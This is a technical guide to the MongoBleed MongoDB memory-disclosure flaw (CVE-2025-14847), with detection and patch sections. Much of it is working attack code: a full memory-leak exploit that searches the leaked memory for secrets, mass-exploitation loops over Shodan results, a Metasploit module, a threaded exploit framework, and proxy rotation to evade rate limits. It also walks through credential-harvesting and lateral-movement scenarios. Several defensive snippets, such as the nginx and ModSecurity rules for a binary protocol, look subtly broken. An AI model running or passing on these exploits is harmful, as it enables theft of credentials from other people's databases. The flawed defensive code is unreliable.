Breaking MongoDB with MongoBleed: CVE-2025-14847 Deep Technical Analysis

Breaking MongoDB with MongoBleed: CVE-2025-14847 Deep Technical Analysis

Introduction

MongoBleed (CVE-2025-14847) represents a critical unauthenticated memory disclosure vulnerability affecting MongoDB databases through a flaw in the zlib decompression pathway. This vulnerability allows remote attackers to read uninitialized memory from MongoDB servers, potentially exposing sensitive credentials, authentication tokens, and personally identifiable information (PII) without requiring authentication. For security professionals, penetration testers, and database administrators, understanding MongoBleed is crucial for:

  • Identifying vulnerable MongoDB deployments and compression configurations
  • Understanding memory disclosure attack vectors in database systems
  • Detecting exploitation attempts and suspicious network patterns
  • Implementing effective security controls and network access restrictions
  • Performing comprehensive security assessments of MongoDB infrastructure

This guide covers the technical details of MongoBleed, exploitation methodologies, detection techniques, and defensive strategies for both offensive and defensive security operations.

Vulnerability Overview

MongoBleed (CVE-2025-14847) is a critical unauthenticated memory disclosure vulnerability that occurs when MongoDB improperly handles zlib-compressed messages with inflated buffer size claims. The vulnerability allows attackers to read uninitialized memory from the server's heap, potentially exposing sensitive data including database credentials, session tokens, and other application secrets.

Characteristics

  • Unauthenticated memory disclosure via zlib decompression bug
  • Affects MongoDB instances with compression enabled (default in many deployments)
  • Exploitable through crafted OP_COMPRESSED messages
  • Can lead to credential and token exposure
  • High severity (CVSS 7.5 - High)
  • No authentication required
  • Affects both standalone and replica set deployments
  • Large attack surface with tens of thousands of publicly exposed instances

Impact

  • Memory Disclosure: Unauthorized reading of server memory contents
  • Credential Exposure: Database passwords, API keys, and authentication tokens
  • Privilege Escalation: Potential access to sensitive configuration data

Technical Deep Dive

Root Cause

MongoBleed occurs when MongoDB's ZlibMessageCompressor::decompressData() function returns the pre-allocated buffer length (output.length()) instead of the actual decompressed length returned by zlib's uncompress() function. The vulnerability stems from:

  1. Incorrect Return Value: The function returns output.length() (client-claimed size) instead of the actual decompressed length
  2. Uninitialized Memory Read: When decompressed data is shorter than the claimed size, the server processes BSON using the larger claimed length, reading beyond the actual data into uninitialized memory
  3. BSON Field Name Parsing: Leaked memory is interpreted as BSON field names in error messages, exposing server memory contents
  4. Default Compression: Compression enabled by default in many MongoDB deployments increases exposure

Technical Examples

Vulnerable Code Pattern

// Vulnerable MongoDB zlib decompression handler (before fix)
// File: mongo/transport/message_compressor_zlib.cpp
StatusWith<std::size_t> ZlibMessageCompressor::decompressData(ConstDataRange input,
                                                              DataRange output) {
    uLongf length = output.length();  // Pre-allocated buffer size (client-claimed)
    int ret = ::uncompress(const_cast<Bytef*>(reinterpret_cast<const Bytef*>(output.data())),
                           &length,  // zlib sets this to actual decompressed size via reference
                           reinterpret_cast<const Bytef*>(input.data()),
                           input.length());

    if (ret != Z_OK) {
        return Status{ErrorCodes::BadValue, "Compressed message was invalid or corrupted"};
    }

    counterHitDecompress(input.length(), output.length());

    // VULNERABLE: Returns output.length() instead of actual decompressed length
    // The 'length' variable is updated by uncompress() to the actual size,
    // but the function ignores it and returns the claimed buffer size
    // This causes server to process BSON using claimed size, reading uninitialized memory
    return {output.length()};  // BUG: Should return {length} (actual size set by uncompress)
}

Vulnerability Explanation: - uncompress() updates the length parameter (passed by reference) to the actual decompressed size - The vulnerable code ignores this and returns {output.length()} (the client-claimed size wrapped in StatusWith) - When claimed size > actual size, the server processes more bytes than were actually decompressed - This causes reads into uninitialized memory, which appears as BSON field names in error messages

Exploitation Vector

# Crafted OP_COMPRESSED message with inflated size claim
def craft_exploit(doc_len, buffer_size):
    # Minimal BSON content
    content = b'\x10a\x00\x01\x00\x00\x00'  # int32 a=1
    bson = struct.pack('<i', doc_len) + content

    # Wrap in OP_MSG
    op_msg = struct.pack('<I', 0) + b'\x00' + bson
    compressed = zlib.compress(op_msg)

    # OP_COMPRESSED with inflated buffer size (triggers the bug)
    payload = struct.pack('<I', 2013)  # original opcode
    payload += struct.pack('<i', buffer_size)  # claimed uncompressed size (LARGER than actual)
    payload += struct.pack('B', 2)  # zlib compression
    payload += compressed

    return payload

MongoDB Compression Flow

// Vulnerable decompression flow:
1. Client sends OP_COMPRESSED message with inflated uncompressed size claim
2. Server allocates buffer: output.length() = claimed_size (e.g., 1000 bytes)
3. Server calls ZlibMessageCompressor::decompressData()
4. zlib's uncompress() decompresses data and sets 'length' to actual size (e.g., 50 bytes)
5. BUG: Function returns output.length() (1000) instead of length (50)
6. Server processes BSON using returned size (1000 bytes)
7. Server reads 950 bytes beyond actual data into uninitialized memory
8. Leaked memory appears as BSON field names in error responses

Affected Versions & Components

MongoDB Versions

  • MongoDB 4.0.x - 4.4.x (all versions with compression support)
  • MongoDB 5.0.x - 5.0.28
  • MongoDB 6.0.x - 6.0.15
  • MongoDB 7.0.x - 7.0.8
  • MongoDB 8.0.x - 8.0.0 (initial release)

Components

  • MongoDB Server: Standalone instances
  • MongoDB Replica Sets: All members
  • MongoDB Sharded Clusters: Config servers and shards
  • MongoDB Atlas: Cloud deployments (patched by provider)

Vulnerable Configurations

# Default MongoDB configuration (vulnerable)
net:
  compression:
    compressors: snappy,zlib,zstd  # Compression enabled by default

Attack Vectors

Vector 1: Direct Network Connection

Attackers connect directly to exposed MongoDB instances:

# Scan for exposed MongoDB instances
nmap -p 27017 --script mongodb-info <target>

# Exploit vulnerable instance
python3 mongobleed.py --host <target> --port 27017

Vector 2: Internet-Facing Instances

# Shodan search for exposed MongoDB
shodan search "MongoDB" port:27017

# Mass exploitation
for host in $(cat mongodb_hosts.txt); do
    python3 mongobleed.py --host $host --port 27017 --output leaks_$host.bin
done

Vector 3: Internal Network Access

# Lateral movement after initial compromise
python3 mongobleed.py --host internal-db.company.local --port 27017

Vector 4: Cloud Deployments

// Exploiting misconfigured cloud MongoDB instances
// Many cloud providers expose MongoDB on public IPs by default

Exploitation Techniques

Py Memory Leak Payload

Author: Joe Desimone - x.com/dez_

#!/usr/bin/env python3
"""
mongobleed.py - CVE-2025-14847 MongoDB Memory Leak Exploit

Author: Joe Desimone - x.com/dez_

Exploits zlib decompression bug to leak server memory via BSON field names.
Technique: Craft BSON with inflated doc_len, server reads field names from
leaked memory until null byte.
"""

import socket
import struct
import zlib
import re
import argparse

def send_probe(host, port, doc_len, buffer_size):
    """Send crafted BSON with inflated document length"""
    # Minimal BSON content - we lie about total length
    content = b'\x10a\x00\x01\x00\x00\x00'  # int32 a=1
    bson = struct.pack('<i', doc_len) + content

    # Wrap in OP_MSG
    op_msg = struct.pack('<I', 0) + b'\x00' + bson
    compressed = zlib.compress(op_msg)

    # OP_COMPRESSED with inflated buffer size (triggers the bug)
    payload = struct.pack('<I', 2013)  # original opcode
    payload += struct.pack('<i', buffer_size)  # claimed uncompressed size
    payload += struct.pack('B', 2)  # zlib
    payload += compressed

    header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)

    try:
        sock = socket.socket()
        sock.settimeout(2)
        sock.connect((host, port))
        sock.sendall(header + payload)

        response = b''
        while len(response) < 4 or len(response) < struct.unpack('<I', response[:4])[0]:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk
        sock.close()
        return response
    except:
        return b''

def extract_leaks(response):
    """Extract leaked data from error response"""
    if len(response) < 25:
        return []

    try:
        msg_len = struct.unpack('<I', response[:4])[0]
        if struct.unpack('<I', response[12:16])[0] == 2012:
            raw = zlib.decompress(response[25:msg_len])
        else:
            raw = response[16:msg_len]
    except:
        return []

    leaks = []

    # Field names from BSON errors
    for match in re.finditer(rb"field name '([^']*)'", raw):
        data = match.group(1)
        if data and data not in [b'?', b'a', b'$db', b'ping']:
            leaks.append(data)

    # Type bytes from unrecognized type errors
    for match in re.finditer(rb"type (\d+)", raw):
        leaks.append(bytes([int(match.group(1)) & 0xFF]))

    return leaks

def main():
    parser = argparse.ArgumentParser(description='CVE-2025-14847 MongoDB Memory Leak')
    parser.add_argument('--host', default='localhost', help='Target host')
    parser.add_argument('--port', type=int, default=27017, help='Target port')
    parser.add_argument('--min-offset', type=int, default=20, help='Min doc length')
    parser.add_argument('--max-offset', type=int, default=8192, help='Max doc length')
    parser.add_argument('--output', default='leaked.bin', help='Output file')
    args = parser.parse_args()

    print(f"[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak")
    print(f"[*] Author: Joe Desimone - x.com/dez_")
    print(f"[*] Target: {args.host}:{args.port}")
    print(f"[*] Scanning offsets {args.min_offset}-{args.max_offset}")
    print()

    all_leaked = bytearray()
    unique_leaks = set()

    for doc_len in range(args.min_offset, args.max_offset):
        response = send_probe(args.host, args.port, doc_len, doc_len + 500)
        leaks = extract_leaks(response)

        for data in leaks:
            if data not in unique_leaks:
                unique_leaks.add(data)
                all_leaked.extend(data)

                # Show interesting leaks (> 10 bytes)
                if len(data) > 10:
                    preview = data[:80].decode('utf-8', errors='replace')
                    print(f"[+] offset={doc_len:4d} len={len(data):4d}: {preview}")

    # Save results
    with open(args.output, 'wb') as f:
        f.write(all_leaked)

    print()
    print(f"[*] Total leaked: {len(all_leaked)} bytes")
    print(f"[*] Unique fragments: {len(unique_leaks)}")
    print(f"[*] Saved to: {args.output}")

    # Show any secrets found
    secrets = [b'password', b'secret', b'key', b'token', b'admin', b'AKIA']
    for s in secrets:
        if s.lower() in all_leaked.lower():
            print(f"[!] Found pattern: {s.decode()}")

if __name__ == '__main__':
    main()

Advanced Exploitation

Targeted Memory Scanning

# Focus on specific memory regions likely to contain secrets
offsets = [1024, 2048, 4096, 8192, 16384]  # Common buffer sizes
for offset in offsets:
    response = send_probe(host, port, offset, offset + 1000)
    leaks = extract_leaks(response)
    analyze_for_secrets(leaks)

Credential Extraction

import re

def extract_credentials(leaked_data):
    """Extract potential credentials from leaked memory"""
    patterns = {
        'mongodb_uri': rb'mongodb://[^\s]+',
        'password': rb'password["\']?\s*[:=]\s*["\']?([^"\'\s]+)',
        'api_key': rb'[Aa][Pp][Ii][_\-]?[Kk][Ee][Yy]["\']?\s*[:=]\s*["\']?([^"\'\s]+)',
        'jwt': rb'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+',
        'aws_key': rb'AKIA[0-9A-Z]{16}',
    }

    credentials = {}
    for name, pattern in patterns.items():
        matches = re.findall(pattern, leaked_data)
        if matches:
            credentials[name] = matches

    return credentials

Automated Secret Hunting

# Continuous scanning with secret detection
while True:
    for offset in range(20, 8192, 50):
        leaks = send_probe(host, port, offset, offset + 500)
        secrets = extract_credentials(leaks)
        if secrets:
            alert_and_save(secrets)
        time.sleep(0.1)  # Rate limiting

Bypassing Filters

Rate Limiting Evasion

# Rotate through multiple source IPs
import random

proxies = ['proxy1:8080', 'proxy2:8080', 'proxy3:8080']
for offset in range(20, 8192):
    proxy = random.choice(proxies)
    response = send_probe_via_proxy(host, port, offset, proxy)

Compression Method Variation

# Try different compression methods if zlib is filtered
compression_methods = {
    1: 'snappy',
    2: 'zlib',
    3: 'zstd'
}

for method_id, method_name in compression_methods.items():
    payload = craft_compressed_message(method_id, inflated_size)
    response = send_payload(host, port, payload)

Real-World Attack Scenarios

Scenario 1: Initial Reconnaissance

# Attacker discovers exposed MongoDB instance
$ shodan search "MongoDB" port:27017 country:US
# Finds 15,000+ exposed instances

# Run MongoBleed against discovered targets
$ python3 mongobleed.py --host 192.0.2.100 --port 27017 --output leak_1.bin
[+] offset= 512 len=  45: admin_password=SuperSecret123!
[+] offset=1024 len=  32: AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
[+] offset=2048 len=  67: mongodb://admin:[email protected]:27017

Scenario 2: Credential Harvesting

# Automated credential extraction from leaked memory
leaked_data = open('leaked.bin', 'rb').read()

# Extract MongoDB connection strings
mongodb_uris = re.findall(rb'mongodb://[^\s\x00]+', leaked_data)
for uri in mongodb_uris:
    print(f"Found MongoDB URI: {uri.decode('utf-8', errors='ignore')}")
    # Attempt connection with discovered credentials
    test_connection(uri)

Scenario 3: Lateral Movement

# Attacker uses leaked internal MongoDB URI for lateral movement
$ python3 mongobleed.py --host public-api.example.com --port 27017
[+] offset=4096 len=  89: mongodb://app_user:[email protected]:27017/production

# Attacker now targets internal database
$ mongo "mongodb://app_user:[email protected]:27017/production"

Scenario 4: Supply Chain Compromise

# Leaked API keys used to compromise CI/CD pipelines
leaked_keys = extract_api_keys(leaked_memory)
for key in leaked_keys:
    if test_github_token(key):
        # Compromise GitHub repositories
        clone_and_modify_repos(key)
    elif test_aws_key(key):
        # Access AWS resources
        enumerate_s3_buckets(key)

Detection & Analysis

Log Analysis

Identifying Exploitation Attempts

# MongoDB log entries showing compression errors
grep "compression" /var/log/mongodb/mongod.log | grep -i error

# Look for unusual OP_COMPRESSED message patterns
grep "OP_COMPRESSED" /var/log/mongodb/mongod.log | \
    awk '{print $1, $2, $NF}' | \
    sort | uniq -c | sort -rn

Suspicious Request Patterns

// MongoDB slow query log analysis
db.setProfilingLevel(2, { slowms: 100 });

// Query for compression-related errors
db.system.profile.find({
    "command.compression": { $exists: true },
    "errMsg": /field name/
}).sort({ ts: -1 }).limit(100);

Application Monitoring

Real-Time Detection

# MongoDB monitoring script
from pymongo import MongoClient
import re

def monitor_compression_errors():
    client = MongoClient('mongodb://localhost:27017')
    logs = client.admin.command('getLog', 'global')

    suspicious_patterns = [
        r"field name '[^']{50,}'",  # Unusually long field names
        r"type \d+.*unrecognized",   # Type errors from leaked memory
        r"OP_COMPRESSED.*size.*\d{5,}"  # Large claimed sizes
    ]

    for line in logs['log']:
        for pattern in suspicious_patterns:
            if re.search(pattern, line):
                alert_security_team(line)
                return True
    return False

SIEM Queries

Splunk Query

index=mongodb sourcetype=mongod
("OP_COMPRESSED" OR "compression") 
("field name" OR "unrecognized type")
| stats count by host, src_ip
| where count > 10

ELK/Kibana Query

{
  "query": {
    "bool": {
      "must": [
        {
          "match": {
            "message": "OP_COMPRESSED"
          }
        },
        {
          "regexp": {
            "message": "field name '.{50,}'"
          }
        }
      ]
    }
  },
  "aggs": {
    "by_source_ip": {
      "terms": {
        "field": "source.ip.keyword",
        "size": 10
      }
    }
  }
}

Network Traffic Analysis

# Capture and analyze MongoDB traffic
tcpdump -i any -w mongodb.pcap port 27017

# Analyze with Wireshark filters
# Filter: mongodb.opcode == 2012  # OP_COMPRESSED
# Look for messages with large uncompressed_size values

# Extract suspicious messages
tshark -r mongodb.pcap -Y "mongodb.opcode == 2012" \
    -T fields -e mongodb.uncompressed_size | \
    awk '$1 > 1000 {print "Suspicious size:", $1}'

Techniques

Manual Testing

Identifying Vulnerable Instances

# Test if compression is enabled
echo '{"isMaster": 1}' | \
    python3 -c "
import sys, json, socket, struct, zlib
data = sys.stdin.read().encode()
msg = struct.pack('<I', 0) + b'\x00' + data
compressed = zlib.compress(msg)
payload = struct.pack('<I', 2013) + struct.pack('<i', len(msg) + 1000) + \
          struct.pack('B', 2) + compressed
header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
s = socket.socket()
s.connect(('target', 27017))
s.sendall(header + payload)
response = s.recv(4096)
if b'field name' in response:
    print('VULNERABLE - Memory leak detected')
"

Proof of Concept

# Simple POC to verify vulnerability
import socket
import struct
import zlib

def test_mongobleed(host, port):
    # Craft exploit payload
    content = b'\x10a\x00\x01\x00\x00\x00'
    bson = struct.pack('<i', 100) + content  # Claim 100 bytes
    op_msg = struct.pack('<I', 0) + b'\x00' + bson
    compressed = zlib.compress(op_msg)

    # Inflate claimed size
    payload = struct.pack('<I', 2013)
    payload += struct.pack('<i', 1000)  # Claim 1000 bytes (much larger)
    payload += struct.pack('B', 2)
    payload += compressed

    header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)

    sock = socket.socket()
    sock.connect((host, port))
    sock.sendall(header + payload)
    response = sock.recv(4096)
    sock.close()

    # Check for leaked memory in error message
    if b"field name '" in response and len(response) > 100:
        leaked = response[response.find(b"field name '") + 12:]
        leaked = leaked[:leaked.find(b"'")]
        if len(leaked) > 20:  # Significant leak
            print(f"[!] VULNERABLE - Leaked {len(leaked)} bytes")
            print(f"    Sample: {leaked[:50]}")
            return True
    return False

if __name__ == '__main__':
    test_mongobleed('localhost', 27017)

Automated Tools

MongoBleed Scanner

# Mass scanning tool
#!/bin/bash
# mongobleed_scanner.sh

TARGETS_FILE="mongodb_targets.txt"
OUTPUT_DIR="leaks"

mkdir -p $OUTPUT_DIR

while IFS= read -r target; do
    host=$(echo $target | cut -d: -f1)
    port=$(echo $target | cut -d: -f2)
    output_file="$OUTPUT_DIR/leak_${host}_${port}.bin"

    echo "[*] Scanning $host:$port"
    python3 mongobleed.py --host $host --port $port --output $output_file

    if [ -s $output_file ]; then
        size=$(stat -f%z $output_file 2>/dev/null || stat -c%s $output_file)
        if [ $size -gt 100 ]; then
            echo "[!] LEAK DETECTED: $host:$port ($size bytes)"
        fi
    fi
done < $TARGETS_FILE

Burp Suite Extension

# burp_mongobleed.py - Burp Suite extension for MongoBleed
from burp import IBurpExtender, IHttpListener
import struct
import zlib

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("MongoBleed Scanner")
        callbacks.registerHttpListener(self)

    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if not messageIsRequest:
            return

        request = messageInfo.getRequest()
        analyzed = self._helpers.analyzeRequest(request)

        # Check if this is MongoDB traffic
        if analyzed.getMethod() == "POST" and 27017 in analyzed.getUrl().getPort():
            # Craft MongoBleed payload
            payload = self.craft_mongobleed_payload()

            # Create new request with payload
            new_request = self._helpers.buildHttpMessage(
                analyzed.getHeaders(),
                payload
            )
            messageInfo.setRequest(new_request)

    def craft_mongobleed_payload(self):
        content = b'\x10a\x00\x01\x00\x00\x00'
        bson = struct.pack('<i', 100) + content
        op_msg = struct.pack('<I', 0) + b'\x00' + bson
        compressed = zlib.compress(op_msg)

        payload = struct.pack('<I', 2013)
        payload += struct.pack('<i', 1000)
        payload += struct.pack('B', 2)
        payload += compressed

        header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
        return header + payload

Exploitation Frameworks

Metasploit Module

##
# MongoBleed Memory Disclosure Module
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MongoDB Memory Disclosure (MongoBleed)',
      'Description'    => %q{
        Exploits CVE-2025-14847 to leak memory from MongoDB servers
      },
      'Author'         => ['Joe Desimone'],
      'License'          => MSF_LICENSE,
      'References'     => [
        ['CVE', '2025-14847'],
        ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-14847']
      ],
      'DisclosureDate' => '2025-01-01'
    ))

    register_options([
      Opt::RPORT(27017),
      OptInt.new('MIN_OFFSET', [true, 'Minimum document length', 20]),
      OptInt.new('MAX_OFFSET', [true, 'Maximum document length', 8192])
    ])
  end

  def run
    connect

    print_status("Scanning #{rhost}:#{rport} for memory leaks...")

    (datastore['MIN_OFFSET']..datastore['MAX_OFFSET']).each do |offset|
      leak = exploit_offset(offset)
      if leak && leak.length > 20
        print_good("Leaked #{leak.length} bytes at offset #{offset}")
        print_line("  Sample: #{leak[0..50]}")
      end
    end

    disconnect
  end

  def exploit_offset(offset)
    # Craft exploit payload
    content = "\x10a\x00\x01\x00\x00\x00"
    bson = [offset].pack('<i') + content
    op_msg = [0].pack('<I') + "\x00" + bson
    compressed = Zlib::Deflate.deflate(op_msg)

    payload = [2013].pack('<I')
    payload += [offset + 500].pack('<i')
    payload += [2].pack('C')
    payload += compressed

    header = [16 + payload.length, 1, 0, 2012].pack('<IIII')

    sock.send(header + payload, 0)
    response = sock.recv(4096)

    # Extract leaked data
    if response =~ /field name '([^']+)'/
      return $1
    end

    nil
  end
end

Custom Exploitation Script

# mongobleed_advanced.py - Advanced exploitation framework
import socket
import struct
import zlib
import threading
import queue
import re
from collections import defaultdict

class MongoBleedExploit:
    def __init__(self, host, port, threads=10):
        self.host = host
        self.port = port
        self.threads = threads
        self.leaks = queue.Queue()
        self.unique_leaks = set()

    def scan_range(self, min_offset=20, max_offset=8192):
        """Multi-threaded scanning"""
        work_queue = queue.Queue()
        for offset in range(min_offset, max_offset):
            work_queue.put(offset)

        threads = []
        for _ in range(self.threads):
            t = threading.Thread(target=self._worker, args=(work_queue,))
            t.start()
            threads.append(t)

        for t in threads:
            t.join()

        return list(self.unique_leaks)

    def _worker(self, work_queue):
        """Worker thread for scanning"""
        while not work_queue.empty():
            try:
                offset = work_queue.get_nowait()
                leak = self.exploit_offset(offset)
                if leak and leak not in self.unique_leaks:
                    self.unique_leaks.add(leak)
                    self.leaks.put((offset, leak))
            except queue.Empty:
                break

    def exploit_offset(self, offset):
        """Exploit specific offset"""
        try:
            sock = socket.socket()
            sock.settimeout(2)
            sock.connect((self.host, self.port))

            content = b'\x10a\x00\x01\x00\x00\x00'
            bson = struct.pack('<i', offset) + content
            op_msg = struct.pack('<I', 0) + b'\x00' + bson
            compressed = zlib.compress(op_msg)

            payload = struct.pack('<I', 2013)
            payload += struct.pack('<i', offset + 500)
            payload += struct.pack('B', 2)
            payload += compressed

            header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
            sock.sendall(header + payload)

            response = sock.recv(4096)
            sock.close()

            # Extract leak
            match = re.search(rb"field name '([^']+)'", response)
            if match:
                return match.group(1)
        except:
            pass
        return None

if __name__ == '__main__':
    exploit = MongoBleedExploit('localhost', 27017, threads=20)
    leaks = exploit.scan_range(20, 8192)
    print(f"Found {len(leaks)} unique memory leaks")

Mitigation & Defense

Immediate Actions

Disable Compression

# MongoDB configuration - disable compression
net:
  compression:
    compressors: []  # Disable all compressors
# Restart MongoDB after configuration change
sudo systemctl restart mongod

Restrict Network Access

# MongoDB configuration - bind to localhost only
net:
  bindIp: 127.0.0.1  # Only allow local connections
  port: 27017
# Firewall rules to restrict access
# Allow only specific IPs
sudo ufw allow from 10.0.0.0/8 to any port 27017
sudo ufw deny 27017

# Or use iptables
sudo iptables -A INPUT -p tcp --dport 27017 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 27017 -j DROP

Patch Information

Fixed Versions

  • MongoDB 4.4.30+
  • MongoDB 5.0.29+
  • MongoDB 6.0.16+
  • MongoDB 7.0.9+
  • MongoDB 8.0.1+

Patch Details

The vulnerability was fixed by returning the actual decompressed length instead of the pre-allocated buffer length. The fix ensures that ZlibMessageCompressor::decompressData() returns the value set by zlib's uncompress() function:

// Fixed code from mongo/transport/message_compressor_zlib.cpp
StatusWith<std::size_t> ZlibMessageCompressor::decompressData(ConstDataRange input,
                                                              DataRange output) {
    uLongf length = output.length();  // Initialize with buffer size
    int ret = ::uncompress(const_cast<Bytef*>(reinterpret_cast<const Bytef*>(output.data())),
                           &length,  // zlib sets this to actual decompressed size via reference
                           reinterpret_cast<const Bytef*>(input.data()),
                           input.length());

    if (ret != Z_OK) {
        return Status{ErrorCodes::BadValue, "Compressed message was invalid or corrupted"};
    }

    counterHitDecompress(input.length(), output.length());

    // FIXED: Return actual decompressed length instead of output.length()
    // The 'length' variable is updated by uncompress() to reflect actual size
    return length;  // Returns actual decompressed size, not claimed size
}

Before/After Comparison: - Before (Vulnerable): return {output.length()}; - Returns client-claimed buffer size wrapped in StatusWith - After (Fixed): return length; - Returns actual decompressed size set by uncompress() (implicitly wrapped in StatusWith)

Key Change: The function now returns length (the actual decompressed size set by uncompress()) instead of output.length() (the client-claimed buffer size). This prevents the server from processing BSON using an inflated length, eliminating the memory disclosure vulnerability. The uncompress() function updates the length parameter by reference, so it contains the true decompressed size after the call completes.

Applying Patches

# Ubuntu/Debian
sudo apt update
sudo apt install mongodb-org

# CentOS/RHEL
sudo yum update mongodb-org

# Verify version
mongod --version

# Check if compression is still needed
# If yes, ensure you're on a patched version

Input Validation & Sanitization

Network-Level Filtering

# Nginx reverse proxy with MongoDB protection
upstream mongodb_backend {
    server 127.0.0.1:27017;
}

server {
    listen 27017;

    # Block suspicious compression requests
    if ($request_body ~ "OP_COMPRESSED.*\d{5,}") {
        return 403;
    }

    proxy_pass http://mongodb_backend;
}

Application-Level Filtering

# MongoDB connection wrapper with validation
from pymongo import MongoClient
import struct

class SecureMongoClient:
    def __init__(self, uri):
        self.client = MongoClient(uri)
        # Monitor for compression-related errors
        self.setup_monitoring()

    def setup_monitoring(self):
        # Enable profiling to detect exploitation attempts
        self.client.admin.command({
            'setParameter': 1,
            'logLevel': 2  # Increased logging
        })

Safe Configuration Practices

Production Hardening

# Secure MongoDB configuration
net:
  bindIp: 127.0.0.1  # Or specific internal IPs
  port: 27017
  compression:
    compressors: []  # Disable if not needed
    # OR use only on patched versions:
    # compressors: snappy,zlib,zstd

security:
  authorization: enabled  # Require authentication

setParameter:
  enableLocalhostAuthBypass: false

Authentication Requirements

// Require authentication for all connections
use admin
db.createUser({
  user: "admin",
  pwd: "strong_password",
  roles: [ { role: "root", db: "admin" } ]
})

// Enable authentication
// In mongod.conf:
security:
  authorization: enabled

Runtime Protection

WAF Rules

# ModSecurity rules for MongoDB protection
SecRule REQUEST_BODY "@rx OP_COMPRESSED.*\d{5,}" \
    "id:1001,phase:2,deny,status:403,msg:'MongoBleed exploitation attempt'"

SecRule REQUEST_BODY "@rx field name '.{50,}'" \
    "id:1002,phase:2,deny,status:403,msg:'Suspicious MongoDB field name'"

Application-Level Filtering

# Python middleware to detect MongoBleed attempts
def mongobleed_detector(request_data):
    """Detect potential MongoBleed exploitation attempts"""
    suspicious_patterns = [
        b'OP_COMPRESSED',
        b'field name',
        struct.pack('<i', 10000),  # Large claimed sizes
    ]

    for pattern in suspicious_patterns:
        if pattern in request_data:
            log_security_event('mongobleed_attempt', request_data)
            return True
    return False

Security Best Practices

  1. Keep MongoDB Updated: Always run the latest patched version
  2. Network Segmentation: Restrict MongoDB access to application servers only
  3. Monitor Logs: Set up alerts for compression-related errors
  4. Least Privilege: Use minimal required permissions for database users

Patch Information

The vulnerability was patched in MongoDB releases starting from: - MongoDB 4.4.30 (January 2025) - MongoDB 5.0.29 (January 2025) - MongoDB 6.0.16 (January 2025) - MongoDB 7.0.9 (January 2025) - MongoDB 8.0.1 (January 2025)

The fix modifies ZlibMessageCompressor::decompressData() to return the actual decompressed length (set by zlib's uncompress() function) instead of the pre-allocated buffer length (output.length()). This ensures the server only processes the actual decompressed data, preventing reads into uninitialized memory beyond the buffer boundaries.

Conclusion

MongoBleed (CVE-2025-14847) represents a significant threat to MongoDB deployments, particularly those with compression enabled and exposed to the internet. The vulnerability's unauthenticated nature and the large number of exposed instances make it a high-priority security concern. Organizations must take immediate action to patch vulnerable systems, restrict network access, and implement comprehensive monitoring.

Key Takeaways: - Patch MongoDB to fixed versions immediately (4.4.30+, 5.0.29+, 6.0.16+, 7.0.9+, 8.0.1+) - Monitor logs for compression-related errors and suspicious patterns

References

Official CVE Entry https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-14847